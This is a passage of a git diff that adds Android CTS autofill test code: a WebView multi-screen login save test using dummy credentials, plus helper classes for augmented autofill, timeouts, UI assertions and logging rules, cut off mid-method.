+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.content.ComponentName;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.SaveInfo;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.KeyEvent;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.regex.Pattern;
+
+public class WebViewMultiScreenLoginActivityTest
+        extends AbstractWebViewTestCase<WebViewMultiScreenLoginActivity> {
+
+    private static final String TAG = "WebViewMultiScreenLoginTest";
+
+    private static final Pattern MATCH_ALL = Pattern.compile("^(.*)$");
+
+    private WebViewMultiScreenLoginActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<WebViewMultiScreenLoginActivity> getActivityRule() {
+        return new AutofillActivityTestRule<WebViewMultiScreenLoginActivity>(
+                WebViewMultiScreenLoginActivity.class) {
+
+            // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
+            // disable autofill for optimization when it returns false, and unfortunately the value
+            // returned by that method does not change when the service is enabled / disabled, so we
+            // need to start enable the service before launching the activity.
+            // Once that's fixed, remove this overridden method.
+            @Override
+            protected void beforeActivityLaunched() {
+                super.beforeActivityLaunched();
+                Log.i(TAG, "Setting service before launching the activity");
+                enableService();
+            }
+
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testSave_eachFieldSeparately() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
+        // Validation check to make sure autofill is enabled in the application context
+        Helper.assertAutofillEnabled(myWebView.getContext(), true);
+
+        /*
+         * First screen: username
+         */
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, HTML_NAME_USERNAME)
+                .setSaveInfoDecorator((builder, nodeResolver) -> {
+                    final AutofillId usernameId = getAutofillId(nodeResolver, HTML_NAME_USERNAME);
+                    final CharSequenceTransformation usernameTrans = new CharSequenceTransformation
+                            .Builder(usernameId, MATCH_ALL, "$1").build();
+                    builder.setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
+                            .addChild(R.id.username, usernameTrans)
+                            .build());
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        mUiBot.waitForIdle();
+
+        // check received request and no suggestion shown
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.contexts).hasSize(1);
+        mUiBot.assertNoDatasetsEver();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
+        } else {
+            mActivity.getUsernameInput().setText("dude");
+        }
+        mActivity.getNextButton().click();
+        mUiBot.waitForIdle();
+
+        // Assert save UI shown.
+        final UiObject2 saveUi1 = mUiBot.assertSaveShowing(
+                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_USERNAME);
+        mUiBot.assertChildText(saveUi1, ID_USERNAME_LABEL, "User:");
+        mUiBot.assertChildText(saveUi1, ID_USERNAME, "dude");
+
+        // Save then assert save request and saveui disappear.
+        mUiBot.saveForAutofill(saveUi1, true);
+        final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
+        assertThat(saveRequest1.contexts).hasSize(1);
+        assertTextAndValue(findNodeByHtmlName(saveRequest1.structure, HTML_NAME_USERNAME), "dude");
+        mUiBot.assertSaveNotShowing();
+
+        /*
+         * Second screen: password
+         */
+        mActivity.waitForPasswordScreen(mUiBot);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, HTML_NAME_PASSWORD)
+                .setSaveInfoDecorator((builder, nodeResolver) -> {
+                    final AutofillId passwordId = getAutofillId(nodeResolver, HTML_NAME_PASSWORD);
+                    final CharSequenceTransformation passwordTrans = new CharSequenceTransformation
+                            .Builder(passwordId, MATCH_ALL, "$1").build();
+                    builder.setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
+                            .addChild(R.id.password, passwordTrans)
+                            .build());
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.getPasswordInput().click();
+        mUiBot.waitForIdle();
+
+        // check received request and no suggestion shown
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.contexts).hasSize(1);
+        mUiBot.assertNoDatasetsEver();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getPasswordInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_S);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_W);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_T);
+        } else {
+            mActivity.getPasswordInput().setText("sweet");
+        }
+        mActivity.getLoginButton().click();
+        mUiBot.waitForIdle();
+
+        // Assert save UI shown.
+        final UiObject2 saveUi2 = mUiBot.assertSaveShowing(
+                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_PASSWORD);
+        mUiBot.assertChildText(saveUi2, ID_PASSWORD_LABEL, "Pass:");
+        mUiBot.assertChildText(saveUi2, ID_PASSWORD, "sweet");
+
+        // Save then assert save request and saveui disappear.
+        mUiBot.saveForAutofill(saveUi2, true);
+        final SaveRequest saveRequest2 = sReplier.getNextSaveRequest();
+        assertThat(saveRequest2.contexts).hasSize(1);
+        assertTextAndValue(findNodeByHtmlName(saveRequest2.structure, HTML_NAME_PASSWORD), "sweet");
+        mUiBot.assertSaveNotShowing();
+    }
+
+    @Test
+    public void testSave_bothFieldsAtOnce() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
+        // Validation check to make sure autofill is enabled in the application context
+        Helper.assertAutofillEnabled(myWebView.getContext(), true);
+
+        /*
+         * First screen: username
+         */
+        final AtomicReference<AutofillId> usernameId = new AtomicReference<>();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setIgnoreFields(HTML_NAME_USERNAME)
+                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE)
+                .setSaveInfoDecorator((builder, nodeResolver) -> {
+                    usernameId.set(getAutofillId(nodeResolver, HTML_NAME_USERNAME));
+
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        mUiBot.waitForIdle();
+
+        // check received request and no suggestion shown
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.contexts).hasSize(1);
+        mUiBot.assertNoDatasetsEver();
+
+        // Change username to trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_D);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
+        } else {
+            mActivity.getUsernameInput().setText("dude");
+        }
+        mActivity.getNextButton().click();
+        mUiBot.waitForIdle();
+
+        // Assert save UI was not shown.
+        mUiBot.assertSaveNotShowing();
+
+        /*
+         * Second screen: password
+         */
+        mActivity.waitForPasswordScreen(mUiBot);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_PASSWORD)
+                .setSaveInfoDecorator((builder, nodeResolver) -> {
+                    final AutofillId passwordId = getAutofillId(nodeResolver, HTML_NAME_PASSWORD);
+                    final CharSequenceTransformation usernameTrans = new CharSequenceTransformation
+                            .Builder(usernameId.get(), MATCH_ALL, "$1").build();
+                    final CharSequenceTransformation passwordTrans = new CharSequenceTransformation
+                            .Builder(passwordId, MATCH_ALL, "$1").build();
+                    Log.d(TAG, "setting CustomDescription: u=" + usernameId + ", p=" + passwordId);
+                    builder.setCustomDescription(newCustomDescriptionWithUsernameAndPassword()
+                            .addChild(R.id.username, usernameTrans)
+                            .addChild(R.id.password, passwordTrans)
+                            .build());
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.getPasswordInput().click();
+        mUiBot.waitForIdle();
+
+        // check received request and no suggestion shown
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.contexts).hasSize(2);
+        mUiBot.assertNoDatasetsEver();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getPasswordInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_S);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_W);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_E);
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_T);
+        } else {
+            mActivity.getPasswordInput().setText("sweet");
+        }
+        mActivity.getLoginButton().click();
+        mUiBot.waitForIdle();
+
+        // Assert save UI shown.
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(
+                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, SAVE_DATA_TYPE_USERNAME,
+                SAVE_DATA_TYPE_PASSWORD);
+        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
+        mUiBot.assertChildText(saveUi, ID_PASSWORD, "sweet");
+        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
+        mUiBot.assertChildText(saveUi, ID_USERNAME, "dude");
+
+        // Save then assert save request and saveui disappear.
+        mUiBot.saveForAutofill(saveUi, true);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        mUiBot.assertSaveNotShowing();
+
+        // Username is set in the 1st context
+        final AssistStructure previousStructure = saveRequest.contexts.get(0).getStructure();
+        assertWithMessage("no structure for 1st activity").that(previousStructure).isNotNull();
+        assertTextAndValue(findNodeByHtmlName(previousStructure, HTML_NAME_USERNAME), "dude");
+        final ComponentName componentPrevious = previousStructure.getActivityComponent();
+        assertThat(componentPrevious).isEqualTo(mActivity.getComponentName());
+
+        // Password is set in the 2nd context
+        final AssistStructure currentStructure = saveRequest.contexts.get(1).getStructure();
+        assertWithMessage("no structure for 2nd activity").that(currentStructure).isNotNull();
+        assertTextAndValue(findNodeByHtmlName(currentStructure, HTML_NAME_PASSWORD), "sweet");
+        final ComponentName componentCurrent = currentStructure.getActivityComponent();
+        assertThat(componentCurrent).isEqualTo(mActivity.getComponentName());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AntiTrimmerTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AntiTrimmerTextWatcher.java
new file mode 100644
index 0000000..00e9a9e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AntiTrimmerTextWatcher.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.text.Editable;
+import android.text.TextWatcher;
+import android.widget.EditText;
+
+import java.util.regex.Pattern;
+
+/**
+ * A {@link TextWatcher} that appends pound signs ({@code #} at the beginning and end of the text.
+ */
+public final class AntiTrimmerTextWatcher implements TextWatcher {
+
+    /**
+     * Regex used to revert a String that was "anti-trimmed".
+     */
+    public static final Pattern TRIMMER_PATTERN = Pattern.compile("#(.*)#");
+
+    private final EditText mView;
+
+    public AntiTrimmerTextWatcher(EditText view) {
+        mView = view;
+        mView.addTextChangedListener(this);
+    }
+
+    @Override
+    public void onTextChanged(CharSequence s, int start, int before, int count) {
+        mView.removeTextChangedListener(this);
+        mView.setText("#" + s + "#");
+    }
+
+    @Override
+    public void beforeTextChanged(CharSequence s, int start, int count, int after) {
+    }
+
+    @Override
+    public void afterTextChanged(Editable s) {
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
new file mode 100644
index 0000000..fef24f1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
@@ -0,0 +1,214 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.CONNECTION_TIMEOUT;
+import static android.view.autofill.AutofillManager.MAX_TEMP_AUGMENTED_SERVICE_DURATION_MS;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.content.ComponentName;
+import android.service.autofill.augmented.FillRequest;
+import android.util.Log;
+import android.util.Pair;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.view.inputmethod.InlineSuggestionsRequest;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.List;
+import java.util.Objects;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper for common funcionalities.
+ */
+public final class AugmentedHelper {
+
+    private static final String TAG = AugmentedHelper.class.getSimpleName();
+
+    @NonNull
+    public static String getActivityName(@Nullable FillRequest request) {
+        if (request == null) return "N/A (null request)";
+
+        final ComponentName componentName = request.getActivityComponent();
+        if (componentName == null) return "N/A (no component name)";
+
+        return componentName.flattenToShortString();
+    }
+
+    /**
+     * Sets the augmented capture service.
+     */
+    public static void setAugmentedService(@NonNull String service) {
+        Log.d(TAG, "Setting service to " + service);
+        runShellCommand("cmd autofill set temporary-augmented-service 0 %s %d", service,
+                MAX_TEMP_AUGMENTED_SERVICE_DURATION_MS);
+    }
+
+    /**
+     * Resets the content capture service.
+     */
+    public static void resetAugmentedService() {
+        Log.d(TAG, "Resetting back to default service");
+        runShellCommand("cmd autofill set temporary-augmented-service 0");
+    }
+
+    public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
+            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
+            @Nullable AutofillValue expectedFocusedValue) {
+        assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue, true);
+    }
+
+    public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
+            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
+            @Nullable AutofillValue expectedFocusedValue, boolean hasInlineRequest) {
+        Objects.requireNonNull(activity);
+        Objects.requireNonNull(expectedFocusedId);
+        assertWithMessage("no AugmentedFillRequest").that(request).isNotNull();
+        assertWithMessage("no FillRequest on %s", request).that(request.request).isNotNull();
+        assertWithMessage("no FillController on %s", request).that(request.controller).isNotNull();
+        assertWithMessage("no FillCallback on %s", request).that(request.callback).isNotNull();
+        assertWithMessage("no CancellationSignal on %s", request).that(request.cancellationSignal)
+                .isNotNull();
+        // NOTE: task id can change, we might need to set it in the activity's onCreate()
+        assertWithMessage("wrong task id on %s", request).that(request.request.getTaskId())
+                .isEqualTo(activity.getTaskId());
+
+        final ComponentName actualComponentName = request.request.getActivityComponent();
+        assertWithMessage("no activity name on %s", request).that(actualComponentName).isNotNull();
+        assertWithMessage("wrong activity name on %s", request).that(actualComponentName)
+                .isEqualTo(activity.getComponentName());
+        final AutofillId actualFocusedId = request.request.getFocusedId();
+        assertWithMessage("no focused id on %s", request).that(actualFocusedId).isNotNull();
+        assertWithMessage("wrong focused id on %s", request).that(actualFocusedId)
+                .isEqualTo(expectedFocusedId);
+        final AutofillValue actualFocusedValue = request.request.getFocusedValue();
+        if (expectedFocusedValue != null) {
+            assertWithMessage("no focused value on %s", request).that(
+                    actualFocusedValue).isNotNull();
+            assertAutofillValue(expectedFocusedValue, actualFocusedValue);
+        } else {
+            assertWithMessage("expecting null focused value on %s", request).that(
+                    actualFocusedValue).isNull();
+        }
+        if (expectedFocusedId.isNonVirtual()) {
+            final AssistStructure.ViewNode focusedViewNode = request.request.getFocusedViewNode();
+            assertWithMessage("no focused view node on %s", request).that(
+                    focusedViewNode).isNotNull();
+            assertWithMessage("wrong autofill id in focused view node %s", focusedViewNode).that(
+                    focusedViewNode.getAutofillId()).isEqualTo(expectedFocusedId);
+            assertWithMessage("unexpected autofill value in focused view node %s",
+                    focusedViewNode).that(focusedViewNode.getAutofillValue()).isEqualTo(
+                    expectedFocusedValue);
+            assertWithMessage("children nodes should not be populated for focused view node %s",
+                    focusedViewNode).that(
+                    focusedViewNode.getChildCount()).isEqualTo(0);
+        }
+        final InlineSuggestionsRequest inlineRequest =
+                request.request.getInlineSuggestionsRequest();
+        if (hasInlineRequest) {
+            assertWithMessage("no inline request on %s", request).that(inlineRequest).isNotNull();
+        } else {
+            assertWithMessage("exist inline request on %s", request).that(inlineRequest).isNull();
+        }
+    }
+
+    public static void assertAutofillValue(@NonNull AutofillValue expectedValue,
+            @NonNull AutofillValue actualValue) {
+        // It only supports text values for now...
+        assertWithMessage("expected value is not text: %s", expectedValue)
+                .that(expectedValue.isText()).isTrue();
+        assertAutofillValue(expectedValue.getTextValue().toString(), actualValue);
+    }
+
+    public static void assertAutofillValue(@NonNull String expectedValue,
+            @NonNull AutofillValue actualValue) {
+        assertWithMessage("actual value is not text: %s", actualValue)
+                .that(actualValue.isText()).isTrue();
+
+        assertWithMessage("wrong autofill value").that(actualValue.getTextValue().toString())
+                .isEqualTo(expectedValue);
+    }
+
+    @NonNull
+    public static String toString(@Nullable List<Pair<AutofillId, AutofillValue>> values) {
+        if (values == null) return "null";
+        final StringBuilder string = new StringBuilder("[");
+        final int size = values.size();
+        for (int i = 0; i < size; i++) {
+            final Pair<AutofillId, AutofillValue> value = values.get(i);
+            string.append(i).append(':').append(value.first).append('=')
+                   .append(Helper.toString(value.second));
+            if (i < size - 1) {
+                string.append(", ");
+            }
+
+        }
+        return string.append(']').toString();
+    }
+
+    @NonNull
+    public static String toString(@Nullable FillRequest request) {
+        if (request == null) return "(null request)";
+
+        final StringBuilder string =
+                new StringBuilder("FillRequest[act=").append(getActivityName(request))
+                .append(", taskId=").append(request.getTaskId());
+
+        final AutofillId focusedId = request.getFocusedId();
+        if (focusedId != null) {
+            string.append(", focusedId=").append(focusedId);
+        }
+        final AutofillValue focusedValue = request.getFocusedValue();
+        if (focusedValue != null) {
+            string.append(", focusedValue=").append(focusedValue);
+        }
+
+        return string.append(']').toString();
+    }
+
+    // Used internally by UiBot to assert the UI
+    public static String getContentDescriptionForUi(@NonNull AutofillId focusedId) {
+        return "ui_for_" + focusedId;
+    }
+
+    private AugmentedHelper() {
+        throw new UnsupportedOperationException("contain static methods only");
+    }
+
+    /**
+     * Awaits for a latch to be counted down.
+     */
+    public static void await(@NonNull CountDownLatch latch, @NonNull String fmt,
+            @Nullable Object... args)
+            throws InterruptedException {
+        final boolean called = latch.await(CONNECTION_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        if (!called) {
+            throw new IllegalStateException(String.format(fmt, args)
+                    + " in " + CONNECTION_TIMEOUT.ms() + "ms");
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedTimeouts.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedTimeouts.java
new file mode 100644
index 0000000..d853b58
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedTimeouts.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import com.android.compatibility.common.util.Timeout;
+
+/**
+ * Timeouts for common tasks.
+ */
+public final class AugmentedTimeouts {
+
+    private static final long ONE_TIMEOUT_TO_RULE_THEN_ALL_MS = 1_000;
+    private static final long ONE_NAPTIME_TO_RULE_THEN_ALL_MS = 3_000;
+
+    /**
+     * Timeout for expected augmented autofill requests.
+     */
+    public static final Timeout AUGMENTED_FILL_TIMEOUT = new Timeout("AUGMENTED_FILL_TIMEOUT",
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout until framework binds / unbinds from service.
+     */
+    public static final Timeout AUGMENTED_CONNECTION_TIMEOUT = new Timeout(
+            "AUGMENTED_CONNECTION_TIMEOUT", ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F,
+            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
+
+    /**
+     * Timeout used when the augmented autofill UI not expected to be shown - test will sleep for
+     * that amount of time as there is no callback that be received to assert it's not shown.
+     */
+    public static final long AUGMENTED_UI_NOT_SHOWN_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
+
+    private AugmentedTimeouts() {
+        throw new UnsupportedOperationException("contain static methods only");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedUiBot.java
new file mode 100644
index 0000000..825db8f
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedUiBot.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.AugmentedHelper.getContentDescriptionForUi;
+import static android.autofillservice.cts.testcore.AugmentedTimeouts.AUGMENTED_FILL_TIMEOUT;
+import static android.autofillservice.cts.testcore.AugmentedTimeouts.AUGMENTED_UI_NOT_SHOWN_NAPTIME_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.support.test.uiautomator.UiObject2;
+import android.view.autofill.AutofillId;
+
+import androidx.annotation.NonNull;
+
+import com.google.common.base.Preconditions;
+
+import java.util.Objects;
+
+/**
+ * Helper for UI-related needs.
+ */
+public final class AugmentedUiBot {
+
+    private final UiBot mUiBot;
+    private boolean mOkToCallAssertUiGone;
+
+    public AugmentedUiBot(@NonNull UiBot uiBot) {
+        mUiBot = uiBot;
+    }
+
+    /**
+     * Asserts the augmented autofill UI was never shown.
+     *
+     * <p>This method is slower than {@link #assertUiGone()} and should only be called in the
+     * cases where the dataset picker was not previous shown.
+     */
+    public void assertUiNeverShown() throws Exception {
+        mUiBot.assertNeverShownByRelativeId("augmented autofil UI", R.id.augmentedAutofillUi,
+                AUGMENTED_UI_NOT_SHOWN_NAPTIME_MS);
+    }
+
+    /**
+     * Asserts the augmented autofill UI was shown.
+     *
+     * @param focusedId where it should have been shown
+     * @param expectedText the expected text in the UI
+     */
+    public UiObject2 assertUiShown(@NonNull AutofillId focusedId,
+            @NonNull String expectedText) throws Exception {
+        Objects.requireNonNull(focusedId);
+        Objects.requireNonNull(expectedText);
+
+        final UiObject2 ui = mUiBot.assertShownByRelativeId(R.id.augmentedAutofillUi);
+
+        assertWithMessage("Wrong text on UI").that(ui.getText()).isEqualTo(expectedText);
+
+        final String expectedContentDescription = getContentDescriptionForUi(focusedId);
+        assertWithMessage("Wrong content description on UI")
+                .that(ui.getContentDescription()).isEqualTo(expectedContentDescription);
+
+        mOkToCallAssertUiGone = true;
+
+        return ui;
+    }
+
+    /**
+     * Asserts the augmented autofill UI is gone AFTER it was previously shown.
+     *
+     * @throws IllegalStateException if this method is called without calling
+     * {@link #assertUiShown(AutofillId, String)} before.
+     */
+    public void assertUiGone() {
+        Preconditions.checkState(mOkToCallAssertUiGone, "must call assertUiShown() first");
+        mUiBot.assertGoneByRelativeId(R.id.augmentedAutofillUi, AUGMENTED_FILL_TIMEOUT);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillActivityTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillActivityTestRule.java
new file mode 100644
index 0000000..4e75871
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillActivityTestRule.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.autofillservice.cts.activities.AbstractAutoFillActivity;
+
+import androidx.test.rule.ActivityTestRule;
+
+/**
+ * Custom {@link ActivityTestRule}.
+ */
+public class AutofillActivityTestRule<T extends AbstractAutoFillActivity>
+        extends ActivityTestRule<T> {
+
+    public AutofillActivityTestRule(Class<T> activityClass) {
+        super(activityClass);
+    }
+
+    public AutofillActivityTestRule(Class<T> activityClass, boolean launchActivity) {
+        super(activityClass, false, launchActivity);
+    }
+
+    @Override
+    protected void afterActivityFinished() {
+        // AutofillTestWatcher does not need to watch for this activity as the ActivityTestRule
+        // will take care of finishing it...
+        AutofillTestWatcher.unregisterActivity("AutofillActivityTestRule.afterActivityFinished()",
+                getActivity());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillLoggingTestRule.java
new file mode 100644
index 0000000..04ce7e0
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AutofillLoggingTestRule.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.SafeCleanerRule;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that improves autofill-related logging by:
+ *
+ * <ol>
+ *   <li>Setting logging level to verbose before test start.
+ *   <li>Call {@code dumpsys autofill} in case of failure.
+ * </ol>
+ */
+public class AutofillLoggingTestRule implements TestRule, SafeCleanerRule.Dumper {
+
+    private static final String TAG = "AutofillLoggingTestRule";
+
+    private final String mTag;
+    private boolean mDumped;
+
+    public AutofillLoggingTestRule(String tag) {
+        mTag = tag;
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                final String testName = description.getDisplayName();
+                final String levelBefore = runShellCommand("cmd autofill get log_level");
+                if (!levelBefore.equals("verbose")) {
+                    runShellCommand("cmd autofill set log_level verbose");
+                }
+                try {
+                    base.evaluate();
+                } catch (Throwable t) {
